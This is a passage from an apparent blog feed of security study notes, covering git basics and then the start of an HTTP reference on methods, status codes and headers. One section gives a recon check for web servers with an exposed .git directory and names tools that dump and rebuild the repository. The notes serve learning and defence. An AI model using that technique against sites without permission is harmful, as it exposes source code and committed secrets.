&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;git&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; push&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;              # send commits to the remote&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;git&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; pull&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;              # fetch + merge remote changes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;git&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; log --oneline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;     # commit history&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;git&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; diff&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;              # unstaged changes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;branches&quot;&gt;Branches&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;git&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; branch&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                    # list branches&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;git&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; checkout -b feature&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;       # create + switch to a branch&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;git&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; switch main&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;               # switch branch (newer syntax)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;git&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; merge feature&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;             # merge a branch into the current one&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;gitignore&quot;&gt;.gitignore&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.env&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;*.key&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;__pycache__&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;node_modules&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;.gitignore&lt;&#x2F;code&gt; only stops &lt;strong&gt;future&lt;&#x2F;strong&gt; tracking. A secret that was &lt;strong&gt;already committed stays in history&lt;&#x2F;strong&gt; even after you delete the file.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;remotes-github-gitlab-bitbucket&quot;&gt;Remotes: GitHub &#x2F; GitLab &#x2F; Bitbucket&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;git&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; remote -v&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                   # show configured remotes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;git&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; remote add origin&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;ur&lt;&#x2F;span&gt;&lt;span&gt;l&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;     # link a remote&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;history&quot;&gt;History&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;git&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; log -p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                    # full diff of every commit&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;git&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; log --all --oneline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;       # every branch&amp;#39;s history&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;git&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; diff&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;ol&lt;&#x2F;span&gt;&lt;span&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&amp;gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;ne&lt;&#x2F;span&gt;&lt;span&gt;w&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;          # what changed between two commits&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;git&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; reflog&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                    # local ref history - recover &amp;quot;deleted&amp;quot; commits&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;git&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; show&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;commi&lt;&#x2F;span&gt;&lt;span&gt;t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;             # inspect a specific commit&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;exposed-git-on-a-web-server&quot;&gt;Exposed &lt;code&gt;.git&#x2F;&lt;&#x2F;code&gt; on a web server&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Recon check: request &lt;code&gt;https:&#x2F;&#x2F;target&#x2F;.git&#x2F;HEAD&lt;&#x2F;code&gt; - a &lt;code&gt;200&lt;&#x2F;code&gt; returning &lt;code&gt;ref: ...&lt;&#x2F;code&gt; means it&#x27;s exposed.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;git-dumper&lt;&#x2F;strong&gt; downloads an exposed &lt;code&gt;.git&#x2F;&lt;&#x2F;code&gt; and rebuilds the repo &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;arthaud&#x2F;git-dumper&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;arthaud&#x2F;git-dumper&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;GitTools&lt;&#x2F;strong&gt; (Dumper &#x2F; Extractor &#x2F; Finder) - same idea, plus discovery.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;secret-scanners&quot;&gt;Secret scanners&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;gitleaks&lt;&#x2F;strong&gt; fast regex&#x2F;entropy-based secret detection &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;gitleaks&#x2F;gitleaks&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;gitleaks&#x2F;gitleaks&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;trufflehog&lt;&#x2F;strong&gt; scans history and can verify whether a found secret is still live &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;trufflesecurity&#x2F;trufflehog&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;trufflesecurity&#x2F;trufflehog&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;gitleaks&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; detect --source .&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;    # scan the current repo + history&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;trufflehog&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; git file:&#x2F;&#x2F;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;       # scan local git history&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;materials&quot;&gt;Materials&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Pro Git book &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;git-scm.com&#x2F;book&quot;&gt;https:&#x2F;&#x2F;git-scm.com&#x2F;book&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry>
        <title>HTTP, curl, jq</title>
        <published>2026-07-06T00:00:00+00:00</published>
        <updated>2026-07-06T00:00:00+00:00</updated>
        <author>
            <name>Frekler</name>
        </author>
        <link rel="alternate" type="text/html" href="https://frekler.com/ai-red-teaming/notes/http-curl-jq/"/>
        <id>https://frekler.com/ai-red-teaming/notes/http-curl-jq/</id>
        
        <content type="html" xml:base="https://frekler.com/ai-red-teaming/notes/http-curl-jq/">&lt;h2 id=&quot;http&quot;&gt;HTTP&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;Request&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;= method + path + headers + (body)&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;METHOD path HTTP&#x2F;VERSION&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Host: ...            (mandatory)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Headers...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;\r\n\r\n             (empty line)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;message body&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Example:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;http&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;GET&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;api&#x2F;users&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; HTTP&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;1.1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;Host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; example.com&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;Authorization&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; Bearer eyJ...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;Accept&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; application&#x2F;json&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;{&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;users&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;&amp;quot;: [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E82424;&quot;&gt; ...&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt; ]}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Response&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;= status code + headers + (body)&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;HTTP&#x2F;VERSION STATUS-CODE REASON-PHRASE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Response Headers&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;\r\n\r\n             (empty line)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;message body&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Example:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;http&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;HTTP&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;1.1 200&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; OK&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;Content-Type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; application&#x2F;json&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;{&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;users&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;&amp;quot;: [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E82424;&quot;&gt; ...&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt; ]}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;HTTP transmits all data in plaintext over a TCP connection (port &lt;strong&gt;80&lt;&#x2F;strong&gt;)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;HTTPS is the HTTP wrapped in TLS encryption layer (port &lt;strong&gt;443&lt;&#x2F;strong&gt;)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;websocket&quot;&gt;WebSocket&lt;&#x2F;h2&gt;
&lt;p&gt;A &lt;strong&gt;WebSocket&lt;&#x2F;strong&gt; upgrades an HTTP connection (status &lt;strong&gt;101 Switching Protocols&lt;&#x2F;strong&gt;) into a persistent two-way TCP channel, so the server can also push data on its own (&lt;code&gt;ws:&#x2F;&#x2F;&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;wss:&#x2F;&#x2F;&lt;&#x2F;code&gt;).&lt;&#x2F;p&gt;
&lt;h2 id=&quot;methods&quot;&gt;Methods&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Method&lt;&#x2F;th&gt;&lt;th&gt;Purpose&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;GET&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;retrieve data (no change)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;POST&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;create &#x2F; submit data&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;PUT&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;replace a resource entirely&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;PATCH&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;modify partially&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;DELETE&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;delete&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;blockquote&gt;
&lt;p&gt;Idempotency:
An idempotent request gives the same result no matter how many times you send it. &lt;strong&gt;GET, PUT, DELETE&lt;&#x2F;strong&gt; are idempotent; &lt;strong&gt;POST&lt;&#x2F;strong&gt; and &lt;strong&gt;PATCH&lt;&#x2F;strong&gt; usually are not (repeating them can create duplicates or stack changes).&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;api-styles&quot;&gt;API styles&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Style&lt;&#x2F;th&gt;&lt;th&gt;Transport &#x2F; format&lt;&#x2F;th&gt;&lt;th&gt;Notes&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;REST&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;HTTP + JSON (usually)&lt;&#x2F;td&gt;&lt;td&gt;resource URLs + HTTP methods; caches well&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;SOAP&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;HTTP + XML&lt;&#x2F;td&gt;&lt;td&gt;older, verbose, envelope-wrapped; described by WSDL&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;gRPC&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;HTTP&#x2F;2 + Protocol Buffers (binary)&lt;&#x2F;td&gt;&lt;td&gt;fast, needs a &lt;code&gt;.proto&lt;&#x2F;code&gt; schema; not human-readable&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;JSON-RPC&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;HTTP + JSON&lt;&#x2F;td&gt;&lt;td&gt;call a method by name with params; &lt;strong&gt;MCP uses this&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;GraphQL&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;HTTP + JSON&lt;&#x2F;td&gt;&lt;td&gt;single endpoint; client asks for exactly the fields it wants&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;status-codes&quot;&gt;Status codes&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;Class&lt;&#x2F;th&gt;&lt;th&gt;Meaning&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;strong&gt;2xx&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;success&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;strong&gt;3xx&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;redirect&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;strong&gt;4xx&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;client error (you asked wrong &#x2F; no permission)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;strong&gt;5xx&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;server error&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;Key ones:&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Code&lt;&#x2F;th&gt;&lt;th&gt;Meaning&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;101 Switching Protocols&lt;&#x2F;td&gt;&lt;td&gt;protocol upgrade (e.g. WebSocket handshake)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;200 OK&lt;&#x2F;td&gt;&lt;td&gt;success&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;201 Created&lt;&#x2F;td&gt;&lt;td&gt;resource created&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;301 &#x2F; 302&lt;&#x2F;td&gt;&lt;td&gt;redirect (permanent &#x2F; temporary)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;304 Not Modified&lt;&#x2F;td&gt;&lt;td&gt;your cached copy is still valid - reuse it (caching note below)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;400 Bad Request&lt;&#x2F;td&gt;&lt;td&gt;malformed request&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;401 Unauthorized&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;not authenticated&lt;&#x2F;strong&gt; (who are you?)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;403 Forbidden&lt;&#x2F;td&gt;&lt;td&gt;authenticated, but &lt;strong&gt;not allowed&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;404 Not Found&lt;&#x2F;td&gt;&lt;td&gt;resource doesn&#x27;t exist&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;405 Method Not Allowed&lt;&#x2F;td&gt;&lt;td&gt;endpoint exists, but not for this method (e.g. PATCH unsupported)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;422 Unprocessable Entity&lt;&#x2F;td&gt;&lt;td&gt;body understood but semantically wrong (unknown &#x2F; invalid fields)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;429 Too Many Requests&lt;&#x2F;td&gt;&lt;td&gt;rate limit hit&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;500 Internal Server Error&lt;&#x2F;td&gt;&lt;td&gt;server crashed&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;503 Service Unavailable&lt;&#x2F;td&gt;&lt;td&gt;server down or overloaded&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;headers&quot;&gt;Headers&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Content-Type: application&#x2F;json    # format of the request&#x2F;response body&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Authorization: Bearer &amp;lt;token&amp;gt;     # access token&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
